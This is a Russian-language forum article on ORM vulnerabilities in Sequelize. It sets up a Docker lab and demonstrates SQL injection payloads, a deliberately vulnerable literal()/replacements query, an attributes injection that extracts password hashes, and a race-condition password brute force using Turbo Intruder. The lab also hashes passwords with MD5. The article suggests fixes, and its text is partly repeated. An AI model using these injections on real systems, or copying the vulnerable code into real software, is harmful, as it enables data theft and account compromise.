Автор petrinh1988
Источник https://xss.pro
В этой статье я поделюсь своим видением ORM и возможными уязвимостями, которые все же могут возникнуть. Статью пытался сделать универсальной, чтобы она была интересна, как интересующимся вопросами безопасности, так и разработчикам.
В теоретической части объясню простым языком, что такое ORM, как она работает и почему этот подход стал стандартом работы с БД. Практическая часть разделена на две. В первой части о создании лаборатории, эта часть для программистов как пример создания проекта на базе Node+Sequelize+PG. Вторая практическая часть посвящена некоторым уязвимостям, в ней продемонстрирую примеры атак. При этом, больше внимания будет уделено уязвимостям создаваемым той или иной версией ORM, в меньшей степени ленивым ошибкам разработчиков.
Как уже заведено, к статье приложен архив, в котором лежит Docker-проект, чтобы можно было вживую все попробовать. Для демонстрации будут использоваться примеры написанные на Node.js с использованием Sequelize, но все описанные подходы в том или ином виде будут работать с любыми другими платформами. Да, могут быть тонкости реализации, да могут быть сильно своеобразные публичные и непубличные уязвимости, но принципы все те же.
Важный момент в том, что эта статья для тех кому интересно разобраться в вопросах “почему так” и “как это происходит”. С точки зрения автоматического взлома инструментами вряд ли что-то полезное почерпнете.
Программирование давно пошло по пути абстракции, когда создаются надстройки над реальными реализациями. Причем надстройки представляющие собой не только синтаксический сахар. В случае ORM, разработчик избавляется от необходимости реализовывать механизмы взаимодействия с конкретными базами данных, концентрируясь на бизнес-логике приложения. Не важно с каким типом баз данных мы работаем, о надежном механизме взаимодействия позаботятся модули ORM, достаточно только указать с чем надо работать и добавить параметры подключения.
Схематично работу можно представить следующим образом:
В коде мы работаем с отдельными записями из базы данных, как с объектами. Благодаря ORM, действия над объектом превращаются в конкретные запросы к базе данных, при этом нам почти ни о чем заботиться не нужно, только лишь описать схему базы данных в виде классов.
Поддержка разных баз данных производится путем установки соответствующих драйверов и конфигурации ORM. На примере Sequelize для Node.js, схематично это будет выглядеть так:
Соответственно, серыми стрелками помечены возможные, но не активные варианты, т.к. не установлен соответствующий драйвер и нет соответствующей конфигурации. В целом, Sequelize поддерживает эти СУБД: DB2, MariaDb, MS SQL Server, MySQL, PostgreSQL, Snowflake, SQLite. Возможна поддержка и других СУБД, которые соответствуют требованиям, но это отдельная история. В целом, нам сейчас важно понимать, что за одной ORM может скрываться одна из перечисленных Систем Управления Базами Данных.
Сам взаимодействие можно посмотреть на примере метода findOrCreate() из справки того же Sequelize
Вот как будет выглядеть подкапотная часть в виде схемы:
Схема приблизительная, исходный код работы функции findOrCreate() не изучал, просто как возможный вариант.
Вот основные плюсы от использования ORM:
Глянем на урезанные примеры кода. Первым делом, нужно настроить подключение к БД. Выглядит это как-то так:
Плюс, нужно описать модель данных с которыми будем работать:
Может показаться, что возникает куча ненужного кода. Но! Описать модель нужно один раз, все дальнейшее взаимодействие будет происходить с объектами и представлять собой однострочные команды.
Даже не зная языка программирования, на котором написан код выше, его легко прочитать и понять. Не стоит забывать и про разного рода триггеры, которые предоставляет ORM Sequelize:
Есть готовые валидации полей, например, isEmal или isUUID и т.д и т.п. Перечислять фишки и полезные штуки ORM можно долго. Добавлю лишь пример собственных функций и пойдем дальше:
Примеры полноценного кода есть в разделе о подготовке лабораторной, а мы пока продолжим теоретизировать.
Хоть среди между PDO и ORM присутствуют некие схожие черты, в виде конкретного слоя абстракции, который позволяет подключаться к СУБД, выполнять запросы, в том числе выстраивая код на параметризированных запросах, не заботясь о каких-то деталях. Все же, есть достаточно серьезная разница. Если вы попробуете выполнить поиск строки при помощи того же PDO или аналога в других языках, вам потребуется написать полноценный SQL-запрос. Плюс, потребуется написать логику обработки полученного результата.
ORM же, оставит большинство работы под капотом. Вам потребуется передать системе что-то вроде “найди мне пользователя с ником ‘admin’”, в виде метода класса, и на выходе получите готовый объект со всеми описывающими полями. ORM сам генерирует нужный запрос, сам приведет его к объекту по заранее описанной схеме. И только если программист решит, по каким-то личным причинам, тогда можно прибегнуть к “сырым” запросам, но это скорее как вариант расширения функционала, а не необходимость.
В целом, абстракции доступа к базам данных (DAL), можно рассматривать, как предшественник или часть ORM. Но не как альтернативу.
В PHP наиболее популярным считается проект Doctrine, который стартовал в далеком 2005 году. Соответственно, за 18 лет проект оброс серьезным комьюнити (более 5 млрд. скачиваний), широкими возможностями по интеграции и т.п. Между тем, если вам попался проект написанный с использованием Laravel, там может использоваться Doctrine, исходя из необходимости совместимости и однородности кода с другими приложениями, но вероятнее всего вы столкнетесь с Eloquent ORM. Eloquent ORM это ORM буквально входящая в состав Laravel. Если говорить о других ORM, их для PHP есть немало, но выделить стоит RedBeanPHP. В некоторых обзорах, эту ORM ставят даже на первое место, вместо Doctrine,
В Python можно выделить три мощных проекта: Django ORM, SQLAlchemy и Peewee. По крайней мере, они мне попадались в реальной работе и практически во всех рейтингах, если не выделяются авторами, то присутствуют на 100%.
Как и говорил выше, для демонстрации буду использовать Sequelize. Но ничего не мешает вам использовать примеры по аналогии или поискать уязвимости для любой другой ORM.
Структура файлов и папок:
В Dockerfile указываем, что нам нужна нода на базе последней версии alpine. После чего создаем и переходим в каталог /usr/src. Копируем в него конфиги приложения и устанавливаем нужные библиотеки. После закидываем все остальное.
Все ненужные для работы файлы и папки игнорируем при помощи .dockerignore
Конфиг с настройками БД:
Docker-compose.yml
В файле конфига создадим несколько сервисов: базы данных, сервера приложения и pgadmin. Последнее оставил больше для истории, так как гораздо удобнее пользоваться расширением Docker Desktop. Ниже покажу, как это делается. Пока добавим package.json:
Теперь можно запустить докер и переходить в Docker Desktop:
В DD идем в расширения, находим pgAdmin4 и устанавливаем
При первом использовании расширения, оно попросит у вас ввести мастер-пароль для защиты ваших данных и прочее бла-бла-бла. Дальше при каждом запуске DD, расширение будет просить его.
После установки пароля, открывается дашборд
Теперь надо создать подключение к серверу. Жмем “Add New Server” и вводим любое название.
Идем в коннекты. В имя хоста вбиваем “host.docker.internal”. Используйте именно это имя хоста, а не “localhost” или “127.0.0.1”. По крайней мере, именно оно заявлено как наиболее надежный способ доступа к локальным для докера серверам. Все остальные параметры вводим те же, что и в “.env” файле. Не забываем кликнуть галочку “сохранить пароль”.
Все. Нас больше не интересуют никакие настройки. Этого более чем достаточно, чтобы получить доступ к тестовому серверу. Жмем “Сохранить”, видим наш сервер и тестовую базу данных:
Забегая вперед, установим одно нужное расширение. Кликаем правой кнопкой по Extendions
В появившемся окне выбираем “fuzzystrmatch”. Это расширение позволит нам использовать функцию “dmetaphone”. Это фонетический поиск, позволяющий сравнивать строки не по их значению, а по их звучанию. Например, “Smith” и “Smyth”
Пока оставим базу данных и перейдем к проекту Node.js. В package уже добавлены все необходимые пакеты, поэтому сразу перейдем к написанию кода. Работать все будет на базе express, поэтому стартовый код сервера будет тривиальным:
Отлично! Но если не произошло чуда, в терминале на вашем компьютере выполните “npm i” и снова пробуем запустить докер компос.
Проверим подключение к базе данных. Чтобы не собирать все в одну кучу, создам подпапку config и в ней размещу файл database.js:
В index.js импортируем наш файл и проверим коннект с базой:
Круто. Подключение к базе есть. Нужна какая-то тестовая таблица.
Напишем небольшой код и закончим с примерами. Создаем папку “models”, в которой будут определены схемы таблиц для взаимодействия через ORM. Работаем с таблицей Users, соответственно, назовем файл Users.js:
Это наиболее простой вариант описывающий модель. Просто перечислили поля с которыми будет работать модель и добавили два хука обрабатывающих изменения, чтобы пароль автоматом хэшировался. В приложенном архиве более расширенная версия.
Создадим несколько маршрутов для users. Для начала стоит поменять index. Добавить парсинг тела запроса в json и подключить router:
После создам папку “routes” и положу в нее файл “users.js”:
Теперь, обращаясь к “/users” мы получим:
Когда прикручен ORM и готова модель для записи, добавление данных становится крайне простым и приятным:
Альтернативно можно использовать метод build. В отличии от “create” он создает модель новой записи, но не сохраняет её в базу данных. Сохранение происходит при помощи метода save. Таким образом можно перед сохранением манипулировать данными.
Добавление данных работает в обоих вариантах. Скрины работы с "build"
Как и ожидалось, значение подменилось. Кстати, видно, что функция обработки пароля тоже прекрасно отработала и у нас md5-хэш:
Удаление записи через destroy. Достаточно указать условие “where” и все четко отработает:
Ну и завершаем картинку обновлением. Без заморочек, сугубо обновление пароля. Обратите внимание, чтобы отработал хук при обновлении (выше в модели добавлял его), нужно включить индивидуальные хуки в опциях запроса. Кстати, условие “where” относятся также к опциям запроса, а не к самому запросу. В том числе, таким разделением, создаются слои безопасности. Хотя, стоит заметить, что ниже мы познакомимся с обратным эффектом)))
Думаю, что теперь не возникнет вопросов по поводу того, как все работает. Разбирать весь код приложений не буду, там все прозаично и лаконично, поэтому без проблем разберетесь.
В первом варианте, речь идет больше о классических SQL-инъекциях, по причине того, что разработчик решил “забивать гвозди микроскопом”... использовать, вместо динамической генерации запросов, прямое исполнение SQL. Это может показаться невозможным, но подобное поведение не редкость. Причины разные, от банальной лени, до непонимания используемого ORM. Особенно сегодня, когда курсов программистов больше чем самих программистов. Мне попадались в руки разные проекты, в которых, что джуны, что фрилансеры, писали такое от чего волосы дыбом встанут. Им главное денежку в карман положить, а потом “хоть трава не расти”.
Собственно, особо останавливаться на этом нет смысла, информации об SQLi полно и большинство окуневодов и маповодов вообще не заметят разницу. Пример подобной халатности мог бы быть таким:
Как водится в подобных статьях, пример кода “получше”.
Даже без какой-то серьезной очистки, SQL уже будет представлять собой гораздо более безопасный вариант. Если закинуть классический пэйлоад “' or '1' = '1” получим:
Но давайте перейдем к чему-то более интересному. Приведу примеры, когда само наличие абстракции может создавать риски.
Да, это проблема не последних версий, но далеко не всегда у разработчиков есть возможность поддерживать актуальные версии библиотек и фреймворков. Достаточно часто, чтобы обновить версию пакета, нужно переписать крайне большой или чувствительный участок кода. В подобных случаях, проблема может быть отложена в дальний ящик. Сам проходил через это и не раз. Бывает проект настолько обрастает кодом, что годами о потенциальной проблеме никто не вспоминает.
Что не так с кодом? В данном случае, произойдет частичное экранирование. Параметр email передается правильным способом, представляя для where готовый объект. А вот та часть, которая через replacements попадет в literal, после чего полетит в запрос — пройдет так, будто мы сделали прямую подстановку.
const users = await Users.findAll({
where: or(
literal('dmetaphone("lastName") = dmetaphone(${lastName})'),
{ email: email },
),
replacements: { lastName },
})
Все дело в том, что literal не знает о предстоящей замене.
Попытаемся пропихнуть инъекцию через email, нас ждет провал.
В логе видно, что ORM отработала и экранировала одинарную кавычку:
А вот с инъекцией в lastName, уязвимость проявит себя во всей красе:
Что забавно, в логах нам сообщают об успешном экранировании))) При этом результат, как видно на скрине выше, мы получили.
Как исправить? Если нет возможности обновить версию ORM, то очищать любой ввод, либо переписать запрос так чтобы правильно отрабатывала очистка Sequelize ORM.
Если пример не заработал, скорее всего не установлено расширение Postgre “fuzzystrmatch”. Смотрите часть про создание лаборатории.
Смысл в том, что мы указываем список полей которые будут участвовать в выборке. В примере выше, Sequelize конвертирует функцию в запрос:
При этом, до версии 6.28, происходила прямая подстановка значений. Т.е., мы можем спокойно вмешаться в запрос, заставив Sequelize выполнить практически что угодно.
Но, здесь стоит отдать должное разработчикам Sequelize. Они достаточно неплохо среагировали. В шестой версии их движка, по-умолчанию отключена возможность использовать в attributes небезопасные конструкции. Причем, заглушка работает на любом релизе... Например, попробуем выполнить такой запрос к нашей лабе:
В ответ прилетит пустой объект, а в консоли выскочит такое предупреждение:
Если вы считаете, что это поведение Sequelize делает уязвимость невозможной… вы сильно недооцениваете программистов))) Команда Sequelize оставила возможность включить небезопасное поведение и его много кто включил… Мы тоже включим, для этого в папке config файл database.js приведем к виду:
Повторим запрос и получим нужный результат:
Теперь можем попробовать, например, получить хэш пароля:
http://127.0.0.1:5000/users/vuln2/(SELECT password FROM users)/count
Проблема называется как “аномалия сериализации”. Если дословно, то “аномалия сериализации” возникает, когда группы одновременно выполненных транзакций не могут быть корректно выполнены, если они выполняются последовательно без перекрытия. По человечески, возникает условия гонки.
Для понимания сделал инфографику по тестовому приложению. Это будет приложение авторизации с временным ограничением при превышении лимита попыток. Простенькая защита от брутфорса.
Это первая схема уязвимого приложения. Допустим у нас выделено десять попыток ввести пароль, после которых возможность авторизации блокируется на какое-то время. Если мы отправим одновременно 10-20 запросов авторизации, обращения к базе данных также произойдут почти одномоментно. Соответственно, из-за плотного потока и минимальных таймингов, большая часть потоков вытащит из базы данных одно и то же значени, увеличит его на 1 и снова запишут в базу одно и тоже значение.
Давайте посмотрим на код авторизации в приложении:
Выполняя запросы через Postman мы получаем корректный результат. При превышении количества попыток, прилетает ошибка:
Но давайте подключим мощную мощь в виде Burp Suite и бахнем пачкой запросов. Попробуем подобрать Турбо Интрудером пароль. К слову, чтобы подобрать пароль, хватит списка слов adobe100 из SecLists, папка Leaked-Databases.
Берем наш запрос и перекидываем в Turbo Intruder:
Код для интрудера:
Запускаем атаку и на 26-й итерации получаем наш пароль. Обратите внимание, на 26-й при ограничении в 10 ошибок, значит Race Condition отработал.
Если глянуть в базу, мы увидим, что даже не добрались до лимита попыток…
Как исправить ситуацию? Довольно не сложно. Схема с альтернативным вариантом, выглядела бы как-то так:
Все, что нам нужно, это добавть создание транзакции перед любыми операциями.
Результат очевидный:
Мы видим, что в продакшене не билд, а сорцы. Плюс прямо на ходу что-то отправлено разработчиком в комментарии. Это говорит о том, что все собиралось на коленке и не проводилось какое-то тестирование. Причем, это довольно известный и масштабный ресурс. На него льется большой объем трафика с Google Adwords, закуплены тысячи крутых ссылок… Если подобное можно встретить в продакшене сайтов, которые достаточно серьезно продвигаются, вряд ли стоит удивляться наличию хоть каких-то ошибок в коде. Тем более, когда они связаны с изоляцией запросов в критически важных моментах кода.
Исследователю же напомню, что стоит обращать внимание на то какие именно технологии и пакеты используются приложением. Задача хацкера, за минимальное количество запросов понять какие могут быть векторы атаки, а после их эффективно реализовать.
2. После установки, запустите "docker compose up"
3. Откройте Docker Desktop и установите расширение как описано в разделе про создание лабы
4. Создайте таблицу users. SQL лежит в init.sql
5. Теперь приложение готов, осталось добавить пару пользователей и начать тесты. Все необходимые запросы в файле postman-collection.json. Это экспортированная коллекция.
Источник https://xss.pro
В этой статье я поделюсь своим видением ORM и возможными уязвимостями, которые все же могут возникнуть. Статью пытался сделать универсальной, чтобы она была интересна, как интересующимся вопросами безопасности, так и разработчикам.
В теоретической части объясню простым языком, что такое ORM, как она работает и почему этот подход стал стандартом работы с БД. Практическая часть разделена на две. В первой части о создании лаборатории, эта часть для программистов как пример создания проекта на базе Node+Sequelize+PG. Вторая практическая часть посвящена некоторым уязвимостям, в ней продемонстрирую примеры атак. При этом, больше внимания будет уделено уязвимостям создаваемым той или иной версией ORM, в меньшей степени ленивым ошибкам разработчиков.
Как уже заведено, к статье приложен архив, в котором лежит Docker-проект, чтобы можно было вживую все попробовать. Для демонстрации будут использоваться примеры написанные на Node.js с использованием Sequelize, но все описанные подходы в том или ином виде будут работать с любыми другими платформами. Да, могут быть тонкости реализации, да могут быть сильно своеобразные публичные и непубличные уязвимости, но принципы все те же.
Важный момент в том, что эта статья для тех кому интересно разобраться в вопросах “почему так” и “как это происходит”. С точки зрения автоматического взлома инструментами вряд ли что-то полезное почерпнете.
Что такое Object-Relational Mapping?
Object-Relational Mapping — это достаточно крутая штука в мире программирования, которая помогает, в том числе, бороться с потенциальными SQL-инъекциями при помощи тех же параметризированных запросов.Программирование давно пошло по пути абстракции, когда создаются надстройки над реальными реализациями. Причем надстройки представляющие собой не только синтаксический сахар. В случае ORM, разработчик избавляется от необходимости реализовывать механизмы взаимодействия с конкретными базами данных, концентрируясь на бизнес-логике приложения. Не важно с каким типом баз данных мы работаем, о надежном механизме взаимодействия позаботятся модули ORM, достаточно только указать с чем надо работать и добавить параметры подключения.
Схематично работу можно представить следующим образом:
В коде мы работаем с отдельными записями из базы данных, как с объектами. Благодаря ORM, действия над объектом превращаются в конкретные запросы к базе данных, при этом нам почти ни о чем заботиться не нужно, только лишь описать схему базы данных в виде классов.
Поддержка разных баз данных производится путем установки соответствующих драйверов и конфигурации ORM. На примере Sequelize для Node.js, схематично это будет выглядеть так:
Соответственно, серыми стрелками помечены возможные, но не активные варианты, т.к. не установлен соответствующий драйвер и нет соответствующей конфигурации. В целом, Sequelize поддерживает эти СУБД: DB2, MariaDb, MS SQL Server, MySQL, PostgreSQL, Snowflake, SQLite. Возможна поддержка и других СУБД, которые соответствуют требованиям, но это отдельная история. В целом, нам сейчас важно понимать, что за одной ORM может скрываться одна из перечисленных Систем Управления Базами Данных.
Сам взаимодействие можно посмотреть на примере метода findOrCreate() из справки того же Sequelize
JavaScript:
const [user, created] = await User.findOrCreate({
where: { username: 'sdepold' },
defaults: {
job: 'Technical Lead JavaScript',
},
});
console.log(user.username); // 'sdepold'
console.log(user.job); // This may or may not be 'Technical Lead JavaScript'
console.log(created); // The boolean indicating whether this instance was just created
if (created) {
console.log(user.job); // This will certainly be 'Technical Lead JavaScript'
}
Вот как будет выглядеть подкапотная часть в виде схемы:
Схема приблизительная, исходный код работы функции findOrCreate() не изучал, просто как возможный вариант.
Вот основные плюсы от использования ORM:
- Эффективность разработки — как писал выше, с разработчика снимается куча рутинной и ненужной работы по организации подключения к БД и взаимодействия с ней.
- Меньше шаблонизированного кода — орм автоматически генерирует запросы избавляя от необходимости писать шаблоны запросов, запихивать их в сервисные функции и т.п.
- Простота поддержки — с использованием ORM можно, но очень сложно писать спагетти код. Хотя встречал разных умельцев. Но в большинстве случаев, код гораздо более читаемый и понятный.
- Согласованность — фреймворки ORM обеспечивают надежный последовательный доступ к данным, что снижает риск возникновения ошибок.
- Выше безопасность — ORM значительно снижает возможности для внедрения SQLi за счет параметризированного ввода и механизмов очистки. Но… и тут можно косячить.
- Приятно писать и читать код — да, такой себе пункт, его поймут люди которым приходилось писать много кода, особенно с разными командами разработчиков. Бывает пишешь и прям кайфуешь, а бывает плюешься и устаешь за десять строчек кода. Вот ORM, это про кайф. Сугубо субьективненький такой плюсик)))
Глянем на урезанные примеры кода. Первым делом, нужно настроить подключение к БД. Выглядит это как-то так:
JavaScript:
const Sequelize = require('sequelize')
module.exports = new Sequelize('test_db', 'postgres', 'postgres', {
host: 'host.docker.internal',
dialect: 'postgres',
operatorAliases: false,
pool: {
max: 5,
min: 0,
acquire: 30000,
idle: 10000
},
})
JavaScript:
const db = require('./config/database')
db.authenticate()
.then(() => console.log('Database connected...'))
.catch(err => console.log(err))
Плюс, нужно описать модель данных с которыми будем работать:
JavaScript:
const Sequelize = require('sequelize')
const Users = db.define('users', {
id: {
type: Sequelize.DataTypes.INTEGER,
autoIncrement: true,
primaryKey: true
},
firstName: {
type: Sequelize.DataTypes.STRING,
},
lastName: {
type: Sequelize.DataTypes.STRING,
},
...
Может показаться, что возникает куча ненужного кода. Но! Описать модель нужно один раз, все дальнейшее взаимодействие будет происходить с объектами и представлять собой однострочные команды.
JavaScript:
const user = await Users.findOne({ where: { login}})
Даже не зная языка программирования, на котором написан код выше, его легко прочитать и понять. Не стоит забывать и про разного рода триггеры, которые предоставляет ORM Sequelize:
JavaScript:
Users.beforeUpdate((user, options) => {
if (user.changed('password')) {
user.password = md5(user.password)
}
})
Есть готовые валидации полей, например, isEmal или isUUID и т.д и т.п. Перечислять фишки и полезные штуки ORM можно долго. Добавлю лишь пример собственных функций и пойдем дальше:
JavaScript:
Users.prototype.jwtToken = function() {
const user = this
return jwt.sign({id: user.id}, process.env.JWT_SECRET_KEY, {
expiresIn: '1h',
})
}
// Где-то в коде
...
const token = user.jwtToken()
...
Примеры полноценного кода есть в разделе о подготовке лабораторной, а мы пока продолжим теоретизировать.
Отличия ORM от PDO и других абстракций
Когда речь идет о параметризованных запросах, программисты PHP могут вспомнить о PDO (PHP Document Object). Говорю о PDO потому как это наиболее известный Data Access Layer (DAL) даже среди людей не связанных с PHP.Хоть среди между PDO и ORM присутствуют некие схожие черты, в виде конкретного слоя абстракции, который позволяет подключаться к СУБД, выполнять запросы, в том числе выстраивая код на параметризированных запросах, не заботясь о каких-то деталях. Все же, есть достаточно серьезная разница. Если вы попробуете выполнить поиск строки при помощи того же PDO или аналога в других языках, вам потребуется написать полноценный SQL-запрос. Плюс, потребуется написать логику обработки полученного результата.
ORM же, оставит большинство работы под капотом. Вам потребуется передать системе что-то вроде “найди мне пользователя с ником ‘admin’”, в виде метода класса, и на выходе получите готовый объект со всеми описывающими полями. ORM сам генерирует нужный запрос, сам приведет его к объекту по заранее описанной схеме. И только если программист решит, по каким-то личным причинам, тогда можно прибегнуть к “сырым” запросам, но это скорее как вариант расширения функционала, а не необходимость.
В целом, абстракции доступа к базам данных (DAL), можно рассматривать, как предшественник или часть ORM. Но не как альтернативу.
Некоторые популярные ORM
В примерах выше, использовался Sequelize, но не им едины. Для любого современного языка программирования, на котором возможны Web или другие приложения взаимодействующие с базой данных, существует целый набор доступных ORM. Для того же Node.js, помимо Sequelize, есть TypeORM, Prisma, Objection.js, etc…В PHP наиболее популярным считается проект Doctrine, который стартовал в далеком 2005 году. Соответственно, за 18 лет проект оброс серьезным комьюнити (более 5 млрд. скачиваний), широкими возможностями по интеграции и т.п. Между тем, если вам попался проект написанный с использованием Laravel, там может использоваться Doctrine, исходя из необходимости совместимости и однородности кода с другими приложениями, но вероятнее всего вы столкнетесь с Eloquent ORM. Eloquent ORM это ORM буквально входящая в состав Laravel. Если говорить о других ORM, их для PHP есть немало, но выделить стоит RedBeanPHP. В некоторых обзорах, эту ORM ставят даже на первое место, вместо Doctrine,
В Python можно выделить три мощных проекта: Django ORM, SQLAlchemy и Peewee. По крайней мере, они мне попадались в реальной работе и практически во всех рейтингах, если не выделяются авторами, то присутствуют на 100%.
Как и говорил выше, для демонстрации буду использовать Sequelize. Но ничего не мешает вам использовать примеры по аналогии или поискать уязвимости для любой другой ORM.
Подготовка лаборатории
Займемся нашим тестовым стендом. Приложение будет без интерфейса, для взаимодействия используйте Postman, Burp, CURL или любой другой способ отправки запросов. Проекты будут на базе Докера. Сам проект приложу к посту, здесь же пробегусь по основным моментам создания проекта, чтобы было понимание как работает проект и вы без проблем могли поднять собственный стенд для других тестов Sequelize или другой ORM. Так же в проект добавлю выгрузку коллекции из Postman.Структура файлов и папок:
В Dockerfile указываем, что нам нужна нода на базе последней версии alpine. После чего создаем и переходим в каталог /usr/src. Копируем в него конфиги приложения и устанавливаем нужные библиотеки. После закидываем все остальное.
Код:
FROM node:lts-alpine
WORKDIR /usr/src/
COPY package*.json ./
RUN npm install
COPY . .
Все ненужные для работы файлы и папки игнорируем при помощи .dockerignore
Код:
Dockerfile
docker-compose.yml
.git
.gitignore
.config
.npm
.vscode
node_modules
Конфиг с настройками БД:
Код:
POSTGRES_USER=postgres
POSTGRES_PASSWORD=postgres
POSTGRES_HOST=postgres
POSTGRES_DB=test_db
PGADMIN_DEFAULT_EMAIL=admin@admin.com
PGADMIN_DEFAULT_PASSWORD=admin
Docker-compose.yml
Код:
version: "3"
services:
postgres:
container_name: postgres
image: postgres
ports:
- "5432:5432"
volumes:
- ./pgdata:/data/pgdata
env_file:
- .env
networks:
- web
test_serv:
depends_on:
- postgres
container_name: test_serv
build: .
volumes:
- ./:/usr/src
ports:
- "5000:5000"
command: npm run dev
networks:
- web
restart: on-failure
pgadmin:
container_name: pgadmin
links:
- postgres
image: dpage/pgadmin4
ports:
- "8000:80"
volumes:
- /data/pgadmin:/root/.pgadmin
env_file:
- .env
networks:
- web
networks:
web:
driver: bridge
В файле конфига создадим несколько сервисов: базы данных, сервера приложения и pgadmin. Последнее оставил больше для истории, так как гораздо удобнее пользоваться расширением Docker Desktop. Ниже покажу, как это делается. Пока добавим package.json:
Код:
{
"name": "Test pg",
"version": "0.0.1",
"description": "",
"main": "index.js",
"scripts": {
"dev": "node src/index.js"
},
"dependencies": {
"postgres": "^3.3.3",
"sequelize": "^6.19.0"
}
}
Теперь можно запустить докер и переходить в Docker Desktop:
Код:
docker compose up
В DD идем в расширения, находим pgAdmin4 и устанавливаем
При первом использовании расширения, оно попросит у вас ввести мастер-пароль для защиты ваших данных и прочее бла-бла-бла. Дальше при каждом запуске DD, расширение будет просить его.
После установки пароля, открывается дашборд
Теперь надо создать подключение к серверу. Жмем “Add New Server” и вводим любое название.
Идем в коннекты. В имя хоста вбиваем “host.docker.internal”. Используйте именно это имя хоста, а не “localhost” или “127.0.0.1”. По крайней мере, именно оно заявлено как наиболее надежный способ доступа к локальным для докера серверам. Все остальные параметры вводим те же, что и в “.env” файле. Не забываем кликнуть галочку “сохранить пароль”.
Все. Нас больше не интересуют никакие настройки. Этого более чем достаточно, чтобы получить доступ к тестовому серверу. Жмем “Сохранить”, видим наш сервер и тестовую базу данных:
Забегая вперед, установим одно нужное расширение. Кликаем правой кнопкой по Extendions
В появившемся окне выбираем “fuzzystrmatch”. Это расширение позволит нам использовать функцию “dmetaphone”. Это фонетический поиск, позволяющий сравнивать строки не по их значению, а по их звучанию. Например, “Smith” и “Smyth”
Пока оставим базу данных и перейдем к проекту Node.js. В package уже добавлены все необходимые пакеты, поэтому сразу перейдем к написанию кода. Работать все будет на базе express, поэтому стартовый код сервера будет тривиальным:
JavaScript:
const express = require('express')
const app = express()
app.get('/', (req, res) => res.send('INDEX PAGE'))
const PORT = process.env.PORT || 5000
app.listen(PORT, console.log(`Server started on port ${PORT}`))
Отлично! Но если не произошло чуда, в терминале на вашем компьютере выполните “npm i” и снова пробуем запустить докер компос.
Проверим подключение к базе данных. Чтобы не собирать все в одну кучу, создам подпапку config и в ней размещу файл database.js:
JavaScript:
const Sequelize = require('sequelize')
module.exports = new Sequelize('test_db', 'postgres', 'postgres', {
host: 'host.docker.internal',
dialect: 'postgres',
operatorAliases: false,
pool: {
max: 5,
min: 0,
acquire: 30000,
idle: 10000
},
})
В index.js импортируем наш файл и проверим коннект с базой:
JavaScript:
const db = require('./config/database')
db.authenticate()
.then(() => console.log('Database connected...'))
.catch(err => console.log(err))
Круто. Подключение к базе есть. Нужна какая-то тестовая таблица.
Напишем небольшой код и закончим с примерами. Создаем папку “models”, в которой будут определены схемы таблиц для взаимодействия через ORM. Работаем с таблицей Users, соответственно, назовем файл Users.js:
JavaScript:
const Sequelize = require('sequelize')
const db = require('../config/database');
const md5 = require('md5');
const Users = db.define('users', {
id: {
type: Sequelize.INTEGER,
autoIncrement: true,
primaryKey: true
},
firstName: {
type: Sequelize.STRING,
},
lastName: {
type: Sequelize.STRING,
},
login: {
type: Sequelize.STRING,
},
password: {
type: Sequelize.STRING,
},
isAdmin: {
type: Sequelize.BOOLEAN,
default: false
}
})
Users.beforeCreate((user, options) => {
user.password = md5(user.password)
})
Users.beforeUpdate((user, options) => {
if (user.changed('password')) {
user.password = md5(user.password)
}
})
module.exports = Users
Это наиболее простой вариант описывающий модель. Просто перечислили поля с которыми будет работать модель и добавили два хука обрабатывающих изменения, чтобы пароль автоматом хэшировался. В приложенном архиве более расширенная версия.
Создадим несколько маршрутов для users. Для начала стоит поменять index. Добавить парсинг тела запроса в json и подключить router:
JavaScript:
const express = require('express')
const bodyParser = require('body-parser')
const db = require('./config/database')
const routeUsers = require('./routes/users')
db.authenticate()
.then(() => console.log('Database connected...'))
.catch(err => console.log(err))
const app = express()
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: true}))
app.get('/', (req, res) => res.send('INDEX PAGE'))
app.use('/users', routeUsers)
const PORT = process.env.PORT || 5000
app.listen(PORT, console.log(`Server started on port ${PORT}`))
После создам папку “routes” и положу в нее файл “users.js”:
JavaScript:
const express = require('express')
const bodyParser = require('body-parser')
const db = require('../config/database')
const Users = require('../models/users')
const router = express.Router()
router.get('/', (req, res) =>
Users.findAll()
.then(users => {
console.log(users)
res.send(users.map(user => user.dataValues))
})
.catch(err => console.log(err))
)
module.exports = router
Теперь, обращаясь к “/users” мы получим:
Когда прикручен ORM и готова модель для записи, добавление данных становится крайне простым и приятным:
JavaScript:
router.post('/add', (req, res) => {
let {firstName, lastName, login, password} = req.body
bodyParser
Users.create({
firstName, lastName, login, password
})
.then(() => res.redirect('/users'))
.catch(err => console.log(err))
})
Альтернативно можно использовать метод build. В отличии от “create” он создает модель новой записи, но не сохраняет её в базу данных. Сохранение происходит при помощи метода save. Таким образом можно перед сохранением манипулировать данными.
JavaScript:
router.post('/add', (req, res) => {
let user = Users.build({firstName, lastName, login, password})
user.lastName = 'Other Value'
user.save()
.then(() => res.redirect('/users'))
.catch(err => console.log(err))
})
Добавление данных работает в обоих вариантах. Скрины работы с "build"
Как и ожидалось, значение подменилось. Кстати, видно, что функция обработки пароля тоже прекрасно отработала и у нас md5-хэш:
Удаление записи через destroy. Достаточно указать условие “where” и все четко отработает:
JavaScript:
router.delete('/del', (req, res) => {
let {id} = req.body
Users.destroy({
where: {
id
}
})
.then(() => res.redirect('/users'))
.catch(err => console.log(err))
})
Ну и завершаем картинку обновлением. Без заморочек, сугубо обновление пароля. Обратите внимание, чтобы отработал хук при обновлении (выше в модели добавлял его), нужно включить индивидуальные хуки в опциях запроса. Кстати, условие “where” относятся также к опциям запроса, а не к самому запросу. В том числе, таким разделением, создаются слои безопасности. Хотя, стоит заметить, что ниже мы познакомимся с обратным эффектом)))
JavaScript:
router.patch('/update', (req, res) => {
let {id, password} = req.body
Users.update({
password
}, {
where: {
id
},
individualHooks: true
})
.then(() => res.redirect('/users'))
.catch(err => console.log(err))
})
Думаю, что теперь не возникнет вопросов по поводу того, как все работает. Разбирать весь код приложений не буду, там все прозаично и лаконично, поэтому без проблем разберетесь.
Взлом приложений использующих ORM
Условно уязвимости можно разделить на две группы:- Общие уязвимости связанные с небезопасной работой с данными и выполнением “сырых” запросов, т.е. без параметризации.
- Уязвимости конкретных ORM
